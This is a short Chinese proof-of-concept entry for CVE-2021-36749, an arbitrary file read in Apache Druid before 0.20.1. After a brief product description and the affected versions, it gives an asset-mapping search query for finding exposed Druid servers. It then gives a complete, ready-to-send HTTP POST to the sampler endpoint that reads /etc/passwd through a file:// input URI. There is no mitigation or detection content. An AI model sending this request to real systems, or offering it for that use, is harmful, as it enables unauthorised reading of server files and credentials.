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31 lines
1.7 KiB
Markdown
31 lines
1.7 KiB
Markdown
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# Apace Druid存在任意文件读取漏洞(CVE-2021-36749)
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# 一、漏洞简介
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<font style="color:rgb(36, 41, 46);">Apache Druid是一个实时分析型数据库，旨在对大型数据集进行快速的查询分析（"OLAP"查询)。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景，同时，Druid也通常被用来助力分析型应用的图形化界面，或者当做需要快速聚合的高并发后端API，Druid最适合应用于面向事件类型的数据。Apace Druid存在任意文件读取漏洞</font>
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# <font style="color:rgb(36, 41, 46);">二、影响版本</font>
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+ Apache Druid < 0.20.1
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# 三、资产测绘
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```java
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title="Apache Druid"
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```
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# 四、漏洞复现
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```java
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POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
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Host:
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Content-Length: 478
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Content-Type: application/json;charset=UTF-8
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{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
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```
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> 更新: 2024-06-17 09:22:47
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/gb0owzvtgrgfqdii>
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